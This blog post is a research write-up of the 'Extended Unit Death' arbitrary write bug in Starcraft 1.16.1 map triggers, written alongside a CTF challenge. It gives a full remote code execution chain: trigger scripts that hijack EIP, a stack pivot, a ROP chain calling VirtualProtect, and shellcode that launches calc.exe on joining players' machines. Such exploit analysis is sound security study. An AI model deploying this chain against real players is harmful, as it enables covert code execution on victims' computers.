Starcraft, released in 1998, is still one of the best strategy games ever made. Over 20 years later it still has a strong community and a remastered version was released in 2017 with updated graphics and sound. However, like most software, it has had it fair share of bugs. One of these bugs was an arbitrary read/write vulnerability in the parser for the scripts embedded in the maps of the game. As long as I’ve known about the bug I had assumed it could be used for exploitation but I had never seen a public example of this. Last weekend, I sat down and wrote an exploit myself and also turned this into a challenge for the Midnight Sun CTF 2020 qualifiers. In this first blog post I will go through some background, explain the bug and the exploit I wrote for it. In part two I will explain how I turned this into a CTF challenge and some of the solutions the teams came up with.

Starcraft Brood War

The Bug - Extended Unit Death

Eight years after its release, on the 18th of January 2006, Starcraft patch version 1.13f was released. The patch notes simply stated “Fixed several bugs that contributed to game exploits”. Among other things, it fixed a specific bug that had been dubbed “Extended Unit Death”, EUD. The EUD bug got its name from the mechanism it used to allow arbitrary read and write in the program’s memory.

Starcraft has a simple scripting system inside the game that allows maps to contain small pieces of code to manipulate some aspects of the game to create things like new game modes or story driven campaign maps. These scripts are called “triggers” and are structured in a simple if-then fashion. Each trigger has a set of “conditions” and “actions”. When all the conditions of a trigger are met, all the actions will be executed. A trigger can affect specific players or all players of the game. A condition can for example be “move unit X to location Y” and a trigger can for example be “display text message X” or “create unit Y”.

The game also keeps track of how many of each type of unit each player has killed. These are called “death counters” and are simply stored in a table of <Number of players> x <Number of unit types> unsigned 4-byte entries. When a unit is killed something equivalent to unit_deaths[player_id][unit_type]++ is run. These values can then be used in the condition part of a trigger by comparing it against a specific value to determine if the condition is met, essentially making a condition like if(unit_deaths[current_player][unit_type] == X). It can also be manipulated in a trigger action by setting an entry to a specific value, adding or subtracting to it, essentially creating an action like unit_deaths[player_id][unit_type] =/+=/-= X. The bug was that in these actions, the unit_type index was not checked against the valid range thus allowing us to read, write, add and subtract values at any offset relative to this array. Furthermore, since the program does not have PIE enabled and the array is stored as a global variable it has a known address, we can fully control the address accessed.

The 1.13f patch adds range checks to the three functions:

  • 0x004C5DD0: action_deaths_set
  • 0x004C5C60: action_deaths_add
  • 0x004C5A80: action_deaths_sub

Below is part of one of the functions showing the arbitrary write and the checks added in the patch.

int action_deaths_set(unsigned int player, unsigned short unit_idx, int deaths)
{
  ...

  switch ( player )
  {
    //Special cases
    case 0xDu:
      player = dword_6509B0;
      goto SET_UNIT_DEATHS;
    case 0xEu:
      
      ...

    default:
SET_UNIT_DEATHS:
+++   if ( player >= 8 || unit_idx >= 0xE9u ) // Added range checks
+++     return 0;
      switch ( unit_idx )
      {
        //Special cases
        case 0xE5u:
          return 0;
        case 0xE6u:

          ...

        default:
+++       if ( unit_idx < 228u ) // Added range checks
            // Arbitrary write here
            unit_deaths[player + 12 * unit_idx] = deaths;
          return 0;
          
          ...

The Setup

I decided to try to write an exploit for this bug with the goal of achieving full remote code execution on another player’s computer. When you play Starcraft online, you can host games with maps you have created yourself. Every player who joins the game will then download the map from you and all the triggers will run in each participant’s client simultanesouly. So the intended scenario is that I wanted to create a map such that when another player joins my game to play the map, I will achieve code exection in their client.

Now, the bug was originally patched in version 1.13f so only clients running an older version are vulnerable. At least that is how it should have been but a lot of people liked the custom maps that utilized this mechanism to create some fun games, called “EUD Maps”, so much that a tool called EUDEnable was created to patch the game in memory and re-introduce the bug. Version 1.16.1 of the game was released on January 19th 2009 and would be the last patch released for eight years (until late 2017 when SC Remastered was released) and therefore became the patch that was thorougly explored, reverse engineered and documented by enthusiasts around the world. I therefore chose to emulate someone running 1.16.1 with EUDEnable active when I wrote my exploit but the techniques should be easily adaptable to any version up to 1.16.1.

To create the custom map I used a third party map maker called ScmDraft 2 because it includes a tool called trigedit to edit the triggers in the map using a text-based language instead of the normal GUI-based workflow in the official map editor.

ScmDraft 2

Additionally, to be able to debug this we need to revert the patch inside the binary instead of using EUDEnable since the way it works is that it starts the game, attaches as a debugger and hooks the handler for the “Set Unit Death” action. This means that we can not attach a debugger ourselves to inspect our exploit. I used IDA Pro to find exactly where the range checks are located and then Binary Ninja to patch the binary to remove the checks. With the patch applied, we no longer need EUDEnable and are now able to attach our own debugger such as x64dbg.

The Exploit

The client itself is a standard 32-bit Windows binary with the following protections (using winchecksec):

> winchecksec StarCraft.exe
Dynamic Base    : false
ASLR            : false
High Entropy VA : false
Force Integrity : false
Isolation       : true
NX              : true
SEH             : true
CFG             : false
RFG             : false
SafeSEH         : false
GS              : false
.NET            : false

What we are mainly interested in here is that it does have NX but not ASLR so text and data segments will be at known addresses.

To actually write an exploit using this primitive we need to know where in memory the death counter is located so that we know what offsets correspond to what locations in memory. Since the program doesn’t have ASLR, this is easy to figure out by disassembling or debugging the game. Luckily, trigedit saves us the work by already having a built in abstraction for this. There is an action called MemoryAddr(addr, action, value) which takes an absolute address and translates this internally to an appropriate offset. It’s however important to note that since this is an array of 4-byte values, only 4-byte aligned addresses can be accessed. The action argument can be used to add or subtract in memory as well but I only used the Set To variant of it.

Another thing that would be helpful is to know what data the game stores where. Luckily, due to the popularity of the game, the EUD bug and projects such as BWAPI, people have mapped out the memory layout of the game and the details about the trigger system.

The first step is to get control of EIP. This is fairly simple. In the memory layout we can find “Trigger Action Function Array” which is an array of function pointers for all the actions that can be triggered. By simply overwriting an entry in this table and calling the corresponding action, we control the instruction pointer. We choose the “Leader Board (Kills)” action which has ID 20 making the target address 0x00512800 + 4*20 = 0x00512850. Adding the trigger below to the map and running it will crash the game with EIP set to 0x12345678.

Trigger("All players"){
Conditions:
    Always();

Actions:
    MemoryAddr(0x00512850, Set To, 0x12345678);
    Leader Board Kills("a", "Terran Marine");

We can easily use the arbitrary write to set up a ROP chain in memory of pretty much arbitrary size but to go down that route we need to find a way to control the stack pointer. It is not yet clear how this can be achieved but in the meanwhile a useful primitive would be to be able to not just control EIP but also the first argument (top of the stack).

After searching for a while I discovered the following gadgets in the binary using rp++:

0x0040ccb3: push [0x0050C63C]; call [0x0051BC08];
0x00469c72: pop ecx; add al, 0x89; pop esp; retn 0x8904;

This means that if we write a value X to address 0x0050C63C and the value 0x00469c72 to address 0x0051BC08 and finally use the technique above to jump to address 0x0040ccb3, it will result in setting the esp register to X+0x8904+0x4 and then executing the instruction at X. This can be achieved by creating a trigger like this:

Trigger("All players"){
Conditions:
    Always();

Actions:
    MemoryAddr(0x0050C63C, Set To, 0x006d46f8); // The X value
    MemoryAddr(0x0051BC08, Set To, 0x00469c72); // The second gadget
    MemoryAddr(0x00512850, Set To, 0x0040ccb3); // Control EIP
    Leader Board Kills("a", "Terran Marine");

Now we have a stack pivot and use that to execute a ROP chain. We will write the ROP chain to the end of the bss and put a piece of shellcode right after it. The bss is not yet executable but that is what the ROP chain will solve. The ROP chain will simply call VirtualProtect to make the bss executable and then return into the shellcode. Luckily VirtualProtect is imported into the binary and its import entry is located at address 0x004FE0F0. I used the following two gadgets to set up the jump:

0x00405cd2: pop eax; ret;
0x0040660e: jmp [eax];

I chose to place my ROP chain at address 0x6DD000 resulting in a script like this:

...
    // ROP chain start
    // 0x006d46f8 = 0x006dd000 - 0x8904 - 4
    MemoryAddr(0x006d46f8, Set To, 0x00405cd3); // ret
    // ROP chain main
    MemoryAddr(0x006dd000, Set To, 0x00405cd2); // pop eax; ret;
    MemoryAddr(0x006dd004, Set To, 0x004fe0f0); // &VirtualProtect
    MemoryAddr(0x006dd008, Set To, 0x0040660e); // jmp [eax] -> VirtualProtect
    MemoryAddr(0x006dd00c, Set To, 0x0040650b); // ret -------------
    MemoryAddr(0x006dd010, Set To, 0x006dd000); // lpAddress       |
    MemoryAddr(0x006dd014, Set To, 0x00000100); // dwSize          |
    MemoryAddr(0x006dd018, Set To, 0x00000040); // flNewProtect    |
    MemoryAddr(0x006dd01c, Set To, 0x006dd000); // lpflOldProtect  |
    MemoryAddr(0x006dd020, Set To, 0x006dd024); // &shellcode <----|
...
    Leader Board Kills("a", "Terran Marine"); // Trigger exploit

Running this will pivot the stack, run VirtualProtect(0x6dd000, 0x100, 0x40, 0x6dd000) and then jump to the address right after the ROP chain. The call to VirtualProtect will make the whole bss executable.

The only thing we are missing now is some shellcode. For my PoC, I just picked some 32-bit shellcode to run calc.exe, split it into 4-byte chunks and used the script to write it right after the ROP chain resulting in a final payload looking like this:

Trigger("All players"){
Conditions:
    Always();

Actions:
    // Write shellcode
    MemoryAddr(0x006dd024, Set To, 0x8b64db31);
    MemoryAddr(0x006dd028, Set To, 0x7f8b307b);
    MemoryAddr(0x006dd02c, Set To, 0x1c7f8b0c);
    MemoryAddr(0x006dd030, Set To, 0x8b08478b);
    MemoryAddr(0x006dd034, Set To, 0x3f8b2077);
    MemoryAddr(0x006dd038, Set To, 0x330c7e80);
    MemoryAddr(0x006dd03c, Set To, 0xc789f275);
    MemoryAddr(0x006dd040, Set To, 0x8b3c7803);
    MemoryAddr(0x006dd044, Set To, 0xc2017857);
    MemoryAddr(0x006dd048, Set To, 0x01207a8b);
    MemoryAddr(0x006dd04c, Set To, 0x8bdd89c7);
    MemoryAddr(0x006dd050, Set To, 0xc601af34);
    MemoryAddr(0x006dd054, Set To, 0x433e8145);
    MemoryAddr(0x006dd058, Set To, 0x75616572);
    MemoryAddr(0x006dd05c, Set To, 0x087e81f2);
    MemoryAddr(0x006dd060, Set To, 0x7365636f);
    MemoryAddr(0x006dd064, Set To, 0x7a8be975);
    MemoryAddr(0x006dd068, Set To, 0x66c70124);
    MemoryAddr(0x006dd06c, Set To, 0x8b6f2c8b);
    MemoryAddr(0x006dd070, Set To, 0xc7011c7a);
    MemoryAddr(0x006dd074, Set To, 0xfcaf7c8b);
    MemoryAddr(0x006dd078, Set To, 0xd989c701);
    MemoryAddr(0x006dd07c, Set To, 0xe253ffb1);
    MemoryAddr(0x006dd080, Set To, 0x616368fd);
    MemoryAddr(0x006dd084, Set To, 0xe289636c);
    MemoryAddr(0x006dd088, Set To, 0x53535252);
    MemoryAddr(0x006dd08c, Set To, 0x53535353);
    MemoryAddr(0x006dd090, Set To, 0xd7ff5352);


    // ROP chain start
    // 0x006d46f8 = 0x006dd000 - 0x8904 - 4
    MemoryAddr(0x006d46f8, Set To, 0x00405cd3); // ret
    // ROP chain main
    MemoryAddr(0x006dd000, Set To, 0x00405cd2); // pop eax; ret;
    MemoryAddr(0x006dd004, Set To, 0x004fe0f0); // &VirtualProtect
    MemoryAddr(0x006dd008, Set To, 0x0040660e); // jmp [eax] -> VirtualProtect
    MemoryAddr(0x006dd00c, Set To, 0x0040650b); // ret -------------
    MemoryAddr(0x006dd010, Set To, 0x006dd000); // lpAddress       |
    MemoryAddr(0x006dd014, Set To, 0x00000100); // dwSize          |
    MemoryAddr(0x006dd018, Set To, 0x00000040); // flNewProtect    |
    MemoryAddr(0x006dd01c, Set To, 0x006dd000); // lpflOldProtect  |
    MemoryAddr(0x006dd020, Set To, 0x006dd024); // &shellcode <----|

    //Set up the stack pivot
    MemoryAddr(0x0050C63C, Set To, 0x006d46f8); // The X value
    MemoryAddr(0x0051BC08, Set To, 0x00469c72); // The second gadget
    MemoryAddr(0x00512850, Set To, 0x0040ccb3); // Control EIP

    //Trigger exploit
    Leader Board Kills("a", "Terran Marine");

To not go insane while writing this exploit, I did not write the triggers like this manually but instead created a Python script to generate them for me. My workflow was then to edit the script, run it, copy the output over to ScmDraft, compile and save the map and then finally run it. There is supposed to exist some Python libraries to do all of this directly from Python but I didn’t get them to work.

Putting this trigger in a custom map and playing it will launch “calc.exe” and crash the game for all players. Of course the shellcode can be replaced with whatever you want and it should in theory even be possible to make the exploit not crash the game so the victim would be left completely unsuspecting of the exploit.

Conclusion

Researching and writing this exploit for one of my favourite games ever was really educational and despite being a fairly easy vulnerability to exploit, I was very satisfied when I finally landed it and the calculator popped. I decided I wanted to expose other people to a similar experience so I turned this vulnerability into a challenge in the Midnight Sun CTF 2020 qualifiers. This required some interesting infrastructure and resulted in a few different exploits. I will publish a second blog post about this challenge shortly.

One of the reasons I started looking more at this bug now, over 10 years after it was patched is that on December 7th 2017, version 1.21.0 was released which included something special: an EUD emulator. This re-introduced the bug in a safe manner to enable these old fun custom maps to be played again but without exposing yourself to memory corruption attacks. The emulator and work was presented in a blog post by Blizzard and was presented at REcon Brussels 2018 by Blizzard employee Elias Bachaalany.